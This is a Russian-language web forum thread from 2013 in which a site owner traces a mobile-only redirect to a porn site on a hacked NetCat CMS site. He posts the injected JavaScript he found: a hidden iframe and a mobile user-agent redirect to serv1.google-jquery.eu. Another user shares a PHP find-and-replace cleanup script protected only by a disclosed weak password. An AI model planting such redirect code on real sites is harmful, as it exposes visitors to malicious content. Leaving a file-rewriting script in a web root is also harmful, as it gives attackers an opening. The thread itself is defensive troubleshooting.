Регистрация
Вход через соцсети
Восстановление пароля

Взлом сайта

Новый топик
Страницы: 1  |  2
04.04.2013, 11:09
Ответить | Цитировать
Seonica
Дизайн-студия Seonica.ru

Зарегистрирован:
2006-12-04
Сообщений: 9

Сайт на неткете 4.2 стандарт. Сегодня обнаружилось, что при заходе на сайт с мобильных устройств происходит редирект на порнуху. С компа все нормально.

Все файлы уже перекопал, ничего подохрительного. В какой стороне еще искать?

Пациент http://1fj.ru

Готов оплатить решение проблемы.

Seonica.ru
04.04.2013, 11:16
Ответить | Цитировать
ipm
Ильин Павел

Зарегистрирован:
2012-10-12
Сообщений: 367

В макете главной в head смотрели? Может там редирект прописан на порносайт, именно для мобилок

Знание может быть лишь у того, у кого есть вопросы. Ханс Георг Гадамер
04.04.2013, 11:20
Ответить | Цитировать
Seonica
Дизайн-студия Seonica.ru

Зарегистрирован:
2006-12-04
Сообщений: 9

Угу, первым делом проверил, все чисто!

Seonica.ru
04.04.2013, 11:23
Ответить | Цитировать
Seonica
Дизайн-студия Seonica.ru

Зарегистрирован:
2006-12-04
Сообщений: 9

Нашел косяк! Первую строку редиректа! Прописалась в папку JS, создав там пару файлов

Буду разбираться дальше, что за файлы и нужны ли они

Seonica.ru
04.04.2013, 11:29
Ответить | Цитировать
Seonica
Дизайн-студия Seonica.ru

Зарегистрирован:
2006-12-04
Сообщений: 9

Вот такое включение обнаружилось, будем, надеяться, что единственное:

Код:
document.write('<iframe src="http://serv1.google-jquery.eu/?sv" border="0" width="0" height="0"></iframe>');

var ismobile = navigator['userAgent']['match'](/(acs)|(alav)|(alca)|(amoi)|(audi)|(aste)|(avan)|(benq)|(bird)|(blac)|(blaz)|(brew)|(cell)|(cldc)|(cmd-)|(dang)|(doco)|(eric)|(hipt)|(inno)|(ipaq)|(java)|(jigs)|(kddi)|(keji)|(leno)|(lg-c)|(lg-d)|(lg-g)|(lge-)|(maui)|(maxo)|(midp)|(mits)|(mmef)|(mobi)|(mot-)|(moto)|(mwbp)|(nec-)|(newt)|(noki)|(opwv)|(palm)|(pana)|(pant)|(pdxg)|(phil)|(play)|(pluc)|(port)|(prox)|(qtek)|(qwap)|(sage)|(sams)|(sany)|(sch-)|(sec-)|(send)|(seri)|(sgh-)|(shar)|(sie-)|(siem)|(smal)|(smar)|(sony)|(sph-)|(symb)|(t-mo)|(teli)|(tim-)|(tosh)|(tsm-)|(upg1)|(upsi)|(vk-v)|(voda)|(w3cs)|(wap-)|(wapa)|(wapi)|(wapp)|(wapr)|(webc)|(winw)|(winw)|(xda)|(xda-)|(up.browser)|(up.link)|(windows.ce)|(iemobile)|(mini)|(mmp)|(symbian)|(midp)|(wap)|(phone)|(pocket)|(mobile)|(android)|(pda)|(PPC)|(Series60)|(Opera.Mini)|(ipad)|(iphone)/i);

if (ismobile) {

document['location']['href'] = 'http://serv1.google-jquery.eu/?mob';

};


Seonica.ru
04.04.2013, 11:42
Ответить | Цитировать
Seonica
Дизайн-студия Seonica.ru

Зарегистрирован:
2006-12-04
Сообщений: 9

Вообще файл левый появился, скорее всего взлом через FTP...

Хотя в шаблонах есть строка, которая грузит этот JS
Код:
<script src=\"/js/prototype.js\" type=\"text/javascript\"></script>


Будьте внимательны, на будущее пишу!

Seonica.ru
04.04.2013, 11:49
Ответить | Цитировать
Seonica
Дизайн-студия Seonica.ru

Зарегистрирован:
2006-12-04
Сообщений: 9

Главные вопросы:

Взлом через FTP?
Если да, то как в шаблоны прописали вывод JS'a?

Seonica.ru
04.04.2013, 12:21
Ответить | Цитировать
ipm
Ильин Павел

Зарегистрирован:
2012-10-12
Сообщений: 367

Вполне возможен взлом через ftp. Можно попробывать посмотреть логи. Только вот, как отследить, когда именно...пока не придумал.

В шаблоны могли прописать через базу данных. Смените пароль.

Знание может быть лишь у того, у кого есть вопросы. Ханс Георг Гадамер
04.04.2013, 14:23
Ответить | Цитировать
Гудантов Расул Рамилевич

Зарегистрирован:
2013-04-03
Сообщений: 6

Могу файл скинуть, который проверяет все файлы на сайте и удаляет вредоносный код, код того самого js
04.04.2013, 14:59
Ответить | Цитировать
ipm
Ильин Павел

Зарегистрирован:
2012-10-12
Сообщений: 367

Кидайте, только зачем? улыбка Хотя...пригодится)

Знание может быть лишь у того, у кого есть вопросы. Ханс Георг Гадамер
04.04.2013, 15:14
Ответить | Цитировать
Гудантов Расул Рамилевич

Зарегистрирован:
2013-04-03
Сообщений: 6

Код:
<?php header ('Content-type: text/html; charset=utf-8'); ?>
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'>
<html>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/>
<meta name="Author" content="cmsdev.org" />
<meta name="robots" content="noindex, nofollow" />
<title>Поиск и замена текста в содержимом файлов</title>
</head>
<body style="margin: 0; padding: 0;">
<?php
if(md5($_GET['pas']) != '4a906b3f1422d05c6858b1287f39fae4') /* Пароль в md5() используйте http://www.md5decrypt.org/ для создания своего пароля. В данном случае пароль netcat. Заливаем в корень сайта и переходим по адресу site.ru/replace.php?pas=netcat. В первое поле вводим код, который нужно удалить, второе пустое и ставим галочку "Заменить"*/
die('Доступ запрещен!');

if (isset($_POST['submit'])) {

$err_arr = array(0 => '', 1 => '');

if ($_POST['text'] == '' || $_POST['dir'] == '') {

$err = ' style="border: 1px solid red"';

if ($_POST['text'] == '')
$err_arr[0] = $err;
if ($_POST['dir'] == '')
$err_arr[1] = $err;
} else {

set_time_limit(0);
error_reporting(E_ALL);

$dir = trim($_POST['dir']);
$text = stripslashes($_POST['text']);
$retext = stripslashes($_POST['retext']);
$replace = isset($_POST['replace']) ? $_POST['replace'] : 0;
$ext = explode(',', $_POST['ext']);
$cnt = 0;

function scan_dir($dirname) {
global $text, $retext, $replace, $ext, $cnt;

$dir = opendir($dirname);

while (($file = readdir($dir)) !== false) {
if ($file != "." && $file != "..") {
$file_name = $dirname."/".$file;
if (is_file($file_name)) {
$ext_name = substr(strrchr($file_name, '.'), 1);
if (in_array($ext_name, $ext) || $file_name == $dirname.'/replace.php')
continue;

$content = file_get_contents($file_name);
if (strpos($content, $text) !== false) {
$cnt++;
if ($replace) {
$content = str_replace($text, $retext, $content);
file_put_contents($file_name, $content);
}

echo '<b>'.$cnt.'</b>: '.$file_name.'<br>';
}
}

if (is_dir($file_name)) {
scan_dir($file_name);
}
}

}

closedir($dir);
}

$start_time = microtime(true);

echo '<div style="padding: 10px; width: 98%; background: #FFEAEA; border: 2px solid #FFB0B0; margin-bottom: 20px">';

if ($replace)
echo '<h2>Заданный текст заменен в файлах:</h2>';
else
echo '<h2>Заданный текст найден в файлах:</h2> ';

scan_dir($dir);

if (!$cnt)
echo 'Нет совпадений';

$exec_time = microtime(true) - $start_time;

printf("<br /><b>Время выполнения: %f сек.</b></div>", $exec_time);
}
}
?>
<div style="padding: 10px; width: 100%; background: #E7F0F5; border: 2px solid #C5E7F6; text-align: center;">
<form method="post">
<table cellpadding="5" cellspacing="0" border="0" align="center">
<tr>
<td align="right">
Текст поиска*:
</td>
<td>
<textarea<?php echo $err_arr[0]; ?> name="text" cols="25" rows="7"><?php echo isset($text) ? $text : ''; ?></textarea>
</td>
</tr>
<tr>
<td align="right">
Текст замены:
</td>
<td>
<textarea name="retext" cols="25" rows="7"><?php echo isset($retext) ? $retext : ''; ?></textarea>
</td>
</tr>
<tr>
<td align="right">
Замена:
</td>
<td>
<input type="checkbox"<?php echo isset($replace) && $replace == 1 ? ' checked' : ''; ?> name="replace" value="1" />
</td>
</tr>
<tr>
<td align="right">
Не искать в файлах:
</td>
<td>
<input type="text" size="33" name="ext" value="<?php echo isset($_POST['ext']) ? $_POST['ext'] : 'gif,jpg,jpeg,png,zip,rar,pdf,css'; ?>" />
</td>
</tr>
<tr>
<td align="right">
Папка*:
</td>
<td>
<input<?php echo $err_arr[1]; ?> type="text" size="33" name="dir" value="<?php echo isset($dir) ? $dir : '.'; ?>" title='Введите ".", если поиск по этой папке, иначе просто имя папки' />
</td>
</tr>
<tr>
<td colspan="2" align="center">
<br /><input type="submit" name="submit" value="Искать\Заменить" />
</td>
</tr>
</table>
</form>
</div>
</body>
</html>
198 196 2013-04-05 20:55:19 12989
Страницы: 1  |  2
Описание проекта